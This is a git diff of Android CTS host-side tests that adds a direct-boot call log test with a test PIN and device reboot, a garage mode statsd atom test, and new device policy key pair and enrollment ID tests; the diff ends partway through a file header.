+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsCallLogDirectBootApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "truth-prebuilt",
+    ],
+    libs: ["android.test.base"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+}
diff --git a/hostsidetests/calllog/app/AndroidManifest.xml b/hostsidetests/calllog/app/AndroidManifest.xml
new file mode 100644
index 0000000..3567d22
--- /dev/null
+++ b/hostsidetests/calllog/app/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.provider.cts.contacts.testapp">
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+
+    <application android:label="CallLogTestApp">
+        <receiver android:name=".BootReceiver"
+                android:directBootAware="true"
+                android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.provider.cts.contacts.testapp" />
+</manifest>
diff --git a/hostsidetests/calllog/app/res/drawable/cupcake.png b/hostsidetests/calllog/app/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/hostsidetests/calllog/app/res/drawable/cupcake.png
Binary files differ
diff --git a/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java
new file mode 100644
index 0000000..3dd9cca
--- /dev/null
+++ b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java
@@ -0,0 +1,58 @@
+package android.provider.cts.contacts.testapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class BootReceiver extends BroadcastReceiver {
+    private static final String LOG_TAG = "CallLogTestBootReceiver";
+    public static final String BOOT_COMPLETE = "boot_complete";
+    public static final String LOCKED_BOOT_COMPLETE = "locked_boot_complete";
+    public static final String SHARED_PREFS_NAME = "boot_complete_info";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (Intent.ACTION_LOCKED_BOOT_COMPLETED.equals(intent.getAction())) {
+            SharedPreferences prefs = context.createDeviceProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            prefs.edit().putBoolean(LOCKED_BOOT_COMPLETE, true).commit();
+            Log.i(LOG_TAG, "Received locked boot complete");
+        } else if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
+            SharedPreferences dePrefs = context.createDeviceProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            SharedPreferences cePrefs = context.createCredentialProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            dePrefs.edit().putBoolean(BOOT_COMPLETE, true).commit();
+            cePrefs.edit().putBoolean(BOOT_COMPLETE, true)
+                    .putBoolean(LOCKED_BOOT_COMPLETE, true).commit();
+            Log.i(LOG_TAG, "Received boot complete");
+        }
+    }
+
+    public static boolean waitForBootComplete(Context context, String action, long timeoutMillis)
+            throws Exception {
+        SharedPreferences prefs =
+                context.getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+        CompletableFuture<Void> onBootCompleteChanged = new CompletableFuture<>();
+        prefs.registerOnSharedPreferenceChangeListener(
+                (sharedPreferences, key) -> {
+                    if (action.equals(key)) {
+                        onBootCompleteChanged.complete(null);
+                    }
+                });
+        if (prefs.getBoolean(action, false)) return true;
+        try {
+            onBootCompleteChanged.get(timeoutMillis, TimeUnit.MILLISECONDS);
+        } catch (TimeoutException e) {
+            Log.w(LOG_TAG, "Timed out waiting for " + action);
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java
new file mode 100644
index 0000000..d16f0bd
--- /dev/null
+++ b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java
@@ -0,0 +1,154 @@
+package android.provider.cts.contacts.testapp;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
+import android.provider.CallLog;
+import android.support.test.uiautomator.UiDevice;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+import android.util.Pair;
+import android.view.KeyEvent;
+
+import androidx.annotation.NonNull;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+// Copied piecemail from EncryptionAppTest and adapted to test the call log.
+public class CallLogDirectBootTest extends InstrumentationTestCase {
+
+    private static final String LOG_TAG = CallLogDirectBootTest.class.getSimpleName();
+    private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+
+    private Context mCe;
+    private Context mDe;
+    private UiDevice mDevice;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mCe = getInstrumentation().getContext();
+        mDe = mCe.createDeviceProtectedStorageContext();
+
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        assertNotNull(mDevice);
+    }
+
+    public void testShadowCallComposerPicture() throws Exception {
+        BootReceiver.waitForBootComplete(mDe, BootReceiver.LOCKED_BOOT_COMPLETE,60000);
+        Log.i(LOG_TAG, "Locked boot complete received, starting test");
+
+        byte[] expected = readResourceDrawable(mDe, R.drawable.cupcake);
+        Log.i(LOG_TAG, "read drawable from resources");
+
+
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            // While still locked, write a picture to the call log, assuming it ends up in the shadow.
+            CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+                    new CompletableFuture<>();
+            Pair<Uri, CallLog.CallComposerLoggingException> result;
+            try (InputStream inputStream =
+                         mDe.getResources().openRawResource(R.drawable.cupcake)) {
+                CallLog.storeCallComposerPictureAsUser(mDe, android.os.Process.myUserHandle(),
+                        inputStream,
+                        Executors.newSingleThreadExecutor(),
+                        new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+                            @Override
+                            public void onResult(@NonNull Uri result) {
+                                resultFuture.complete(Pair.create(result, null));
+                            }
+
+                            @Override
+                            public void onError(CallLog.CallComposerLoggingException error) {
+                                resultFuture.complete(Pair.create(null, error));
+                            }
+                        });
+                result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            }
+            if (result.second != null) {
+                fail("Got error " + result.second.getErrorCode() + " when storing image");
+            }
+            Log.i(LOG_TAG, "successfully received uri for inserted image");
+            Uri imageLocation = result.first.buildUpon().authority(CallLog.AUTHORITY).build();
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final BroadcastReceiver receiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    latch.countDown();
+                }
+            };
+            getInstrumentation().getContext().createDeviceProtectedStorageContext()
+                    .registerReceiver(receiver, new IntentFilter(Intent.ACTION_USER_UNLOCKED));
+
+            dismissKeyguard();
+
+            // Dismiss keyguard should have kicked off immediate broadcast
+            assertTrue("USER_UNLOCKED", latch.await(1, TimeUnit.MINUTES));
+
+            BootReceiver.waitForBootComplete(mCe, BootReceiver.BOOT_COMPLETE, 60000);
+
+            try (ParcelFileDescriptor pfd =
+                         mCe.getContentResolver().openFileDescriptor(imageLocation, "r")) {
+                byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+                assertArrayEquals(expected, remoteBytes);
+            }
+        } finally {
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+            dismissKeyguard();
+        }
+    }
+
+    private static byte[] readResourceDrawable(Context context, int id) throws Exception {
+        InputStream inputStream = context.getResources().openRawResource(id);
+        return readBytes(inputStream);
+    }
+
+    private static byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
+    private void enterTestPin() throws Exception {
+        mDevice.waitForIdle();
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_1);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_2);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_3);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_4);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_5);
+        mDevice.waitForIdle();
+        mDevice.pressEnter();
+        mDevice.waitForIdle();
+    }
+
+    private void dismissKeyguard() throws Exception {
+        mDevice.wakeUp();
+        mDevice.waitForIdle();
+        mDevice.pressMenu();
+        mDevice.waitForIdle();
+        enterTestPin();
+        mDevice.waitForIdle();
+        mDevice.pressHome();
+        mDevice.waitForIdle();
+    }
+}
diff --git a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
new file mode 100644
index 0000000..086cf80
--- /dev/null
+++ b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts.hostside;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.AdbCommandRejectedException;
+import com.android.ddmlib.CollectingOutputReceiver;
+import com.android.ddmlib.Log;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ShadowCallLogTest extends BaseHostJUnit4Test {
+    private static final String TAG = ShadowCallLogTest.class.getSimpleName();
+
+    private static final String PKG = "android.provider.cts.contacts.testapp";
+    private static final String CLASS = PKG + ".CallLogDirectBootTest";
+    private static final String APK = "CtsCallLogDirectBootApp.apk";
+
+    private static final String MODE_EMULATED = "emulated";
+    private static final String MODE_NONE = "none";
+
+    private static final long SHUTDOWN_TIME_MS = 30 * 1000;
+
+    @Before
+    public void setUp() throws Exception {
+        assertNotNull(getAbi());
+        assertNotNull(getBuild());
+
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Test
+    public void testDirectBootCallLog() throws Exception {
+        String fbeMode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
+        if (MODE_NONE.equals(fbeMode)) {
+            Log.i(TAG, "Device doesn't support FBE, skipping.");
+            return;
+        }
+        try {
+            Log.i(TAG, "Test starting");
+            waitForBootCompleted(getDevice());
+            // Set up test app and secure lock screens
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+            File apkFile = buildHelper.getTestFile(APK);
+            getDevice().installPackage(apkFile, true);
+            Log.i(TAG, "Package installed");
+
+            setupDevicePassword();
+
+            // Give enough time for vold to update keys
+            Thread.sleep(15000);
+
+            Log.i(TAG, "Rebooting device");
+            // Reboot system into known state with keys ejected
+            if (MODE_EMULATED.equals(fbeMode)) {
+                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
+                if (res != null && res.contains("Emulation not supported")) {
+                    return;
+                }
+                getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
+                getDevice().waitForDeviceOnline(120000);
+            } else {
+                getDevice().rebootUntilOnline();
+            }
+            waitForBootCompleted(getDevice());
+
+            assertTrue(runDeviceTests(PKG, CLASS, "testShadowCallComposerPicture"));
+        } catch (Throwable t) {
+            Log.e(TAG, "Error encountered: " + t);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                Log.i(TAG, "Attempting to remove device password");
+                removeDevicePassword();
+            } finally {
+                Log.i(TAG, "Final cleanup");
+                getDevice().uninstallPackage(PKG);
+
+                // Get ourselves back into a known-good state
+                if (MODE_EMULATED.equals(fbeMode)) {
+                    getDevice().executeShellCommand("sm set-emulate-fbe false");
+                    getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
+                    getDevice().waitForDeviceOnline();
+                } else {
+                    getDevice().rebootUntilOnline();
+                }
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    private void setupDevicePassword() throws Exception {
+        Log.i(TAG, "running device password setup");
+        ITestDevice device = getDevice();
+        device.executeShellCommand("settings put global require_password_to_decrypt 0");
+        device.executeShellCommand("locksettings set-disabled false");
+        device.executeShellCommand("locksettings set-pin 12345");
+    }
+
+    private void removeDevicePassword() throws Exception {
+        Log.i(TAG, "clearing device password");
+        ITestDevice device = getDevice();
+        device.executeShellCommand("locksettings clear --old 12345");
+        device.executeShellCommand("locksettings set-disabled true");
+        device.executeShellCommand("settings delete global require_password_to_decrypt");
+    }
+
+    public static void waitForBootCompleted(ITestDevice device) throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted(device)) {
+                Log.d(TAG, "Yay, system is ready!");
+                // or is it really ready?
+                // guard against potential USB mode switch weirdness at boot
+                Thread.sleep(10 * 1000);
+                return;
+            }
+            Log.d(TAG, "Waiting for system ready...");
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+
+    private static boolean isBootCompleted(ITestDevice device) throws Exception {
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            device.getIDevice().executeShellCommand("getprop sys.boot_completed", receiver);
+        } catch (AdbCommandRejectedException e) {
+            // do nothing: device might be temporarily disconnected
+            Log.d(TAG, "Ignored AdbCommandRejectedException while `getprop sys.boot_completed`");
+        }
+        String output = receiver.getOutput();
+        if (output != null) {
+            output = output.trim();
+        }
+        return "1".equals(output);
+    }
+}
diff --git a/hostsidetests/car/Android.bp b/hostsidetests/car/Android.bp
index b09254e..b856b74 100644
--- a/hostsidetests/car/Android.bp
+++ b/hostsidetests/car/Android.bp
@@ -29,6 +29,9 @@
         "cts",
         "general-tests",
     ],
+    static_libs: [
+    	"cts-statsd-atom-host-test-utils",
+    ],
     data: [
         ":CtsCarApp",
     ],
diff --git a/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java b/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java
new file mode 100644
index 0000000..cc8823a
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Verifies that Automotive's Garage Mode reports its status.
+ *
+ * <p> {@code statsd} atom tests are done via adb (hostside).
+ */
+public class GarageModeAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.GarageModeAtomTests";
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+
+        // Give enough time to remove/clear reports in statsd because that happens
+        // asynchronously
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testGarageModeOnOff() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.GARAGE_MODE_INFO_FIELD_NUMBER);
+
+        // Garage mode ON
+        Set<Integer> garageModeOn = new HashSet<>(Arrays.asList(1));
+        // Garage mode OFF
+        Set<Integer> garageModeOff = new HashSet<>(Arrays.asList(0));
+        List<Set<Integer>> stateSet = Arrays.asList(garageModeOn, garageModeOff);
+
+        turnOnGarageMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        turnOffGarageMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getGarageModeInfo().getIsGarageMode() ?  1 : 0);
+
+    }
+
+    private void turnOnGarageMode() throws Exception {
+        getDevice().executeShellCommand("cmd car_service garage-mode on");
+    }
+
+    private void turnOffGarageMode() throws Exception {
+        getDevice().executeShellCommand("cmd car_service garage-mode off");
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
index 599bd8e..476c109 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
@@ -24,12 +24,12 @@
 import android.util.Log;
 
 import java.io.ByteArrayInputStream;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.spec.PKCS8EncodedKeySpec;
 import java.security.KeyFactory;
 import java.security.PrivateKey;
 import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
 
 /**
@@ -55,6 +55,9 @@
     // exercises {@link DevicePolicyManager#installKeyPair},
     private static final String ACTION_INSTALL_KEYPAIR =
             "com.android.cts.certinstaller.install_keypair";
+    // exercises {@link DevicePolicyManager#getEnrollmentSpecificId}
+    private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+            "com.android.cts.certinstaller.read_esid";
 
     private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
 
@@ -141,10 +144,17 @@
                 Log.e(TAG, "Exception raised duing ACTION_INSTALL_KEYPAIR", e);
                 sendResult(context, false, e);
             }
+        } else if (ACTION_READ_ENROLLMENT_SPECIFIC_ID.equals(action)) {
+            try {
+                final String esid = dpm.getEnrollmentSpecificId();
+                sendResult(context, !esid.isEmpty(), null);
+            } catch (SecurityException e) {
+                Log.e(TAG, "Exception raised during ACTION_READ_ENROLLMENT_SPECIFIC_ID", e);
+                sendResult(context, false, e);
+            }
         }
     }
 
-
     private void sendResult(Context context, boolean succeed, Exception e) {
         Intent intent = new Intent();
         intent.setAction(ACTION_CERT_OPERATION_DONE);
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
index 4dbb884..51fac70 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
@@ -19,6 +19,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static java.util.Collections.singleton;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -55,6 +57,9 @@
  * When this class is done then the DelegatedCertInstallerTest can be deleted.
  */
 public class DirectDelegatedCertInstallerTest extends InstrumentationTestCase {
+    private static final String TEST_ALIAS = "DirectDelegatedCertInstallerTest-keypair";
+    private static final String NON_EXISTENT_ALIAS = "DirectDelegatedCertInstallerTest-nonexistent";
+
     // Content from cacert.pem
     private static final String TEST_CA =
             "-----BEGIN CERTIFICATE-----\n" +
@@ -130,6 +135,7 @@
     @Override
     public void tearDown() throws Exception {
         mDpm.uninstallCaCert(null, TEST_CA.getBytes());
+        mDpm.removeKeyPair(null, TEST_ALIAS);
         super.tearDown();
     }
 
@@ -226,30 +232,39 @@
     }
 
     public void testHasKeyPair_NonExistent() {
-        assertThat(mDpm.hasKeyPair("NobodyWouldCallAKeyLikeThat")).isFalse();
+        assertThat(mDpm.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
     }
 
-    public void testHasKeyPair_Installed() throws Exception {
-        final String alias = "delegated-cert-installer-test-key-9000";
+    public void testHasKeyPair_Installed() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
 
-        mDpm.installKeyPair(
-                null, mTestPrivateKey, new Certificate[]{mTestCertificate}, alias, true);
-
-        try {
-            assertThat(mDpm.hasKeyPair(alias)).isTrue();
-        } finally {
-            mDpm.removeKeyPair(null, alias);
-        }
+        assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isTrue();
     }
 
-    public void testHasKeyPair_Removed() throws Exception {
-        final String alias = "delegated-cert-installer-test-key-9001";
+    public void testHasKeyPair_Removed() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
+        mDpm.removeKeyPair(null, TEST_ALIAS);
 
-        mDpm.installKeyPair(
-                null, mTestPrivateKey, new Certificate[]{mTestCertificate}, alias, true);
-        mDpm.removeKeyPair(null, alias);
+        assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isFalse();
+    }
 
-        assertThat(mDpm.hasKeyPair(alias)).isFalse();
+    public void testGetKeyPairGrants_Empty() {
+        // Not granting upon install.
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ false);
+
+        assertThat(mDpm.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_NonEmpty() {
+        // Granting upon install.
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
+
+        assertThat(mDpm.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(singleton(singleton(getContext().getPackageName())));
     }
 
     private PrivateKey rsaKeyFromString(String key) throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index e77b52f..5f06e2a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -72,6 +72,36 @@
 }
 
 android_test_helper_app {
+    name: "CtsDeviceAndProfileOwnerApp30",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+        "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+    ],
+    resource_dirs: ["res"],
+    asset_dirs: ["assets"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "api30/AndroidManifest.xml",
+}
+
+android_test_helper_app {
     name: "CtsDeviceAndProfileOwnerApp",
     defaults: ["cts_defaults"],
     platform_apis: true,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml
new file mode 100644
index 0000000..07d5bd0
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.deviceandprofileowner">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="30"/>
+
+    <application android:testOnly="true">
+
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:directBootAware="true"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 891bd72..7e4cd3d 100644
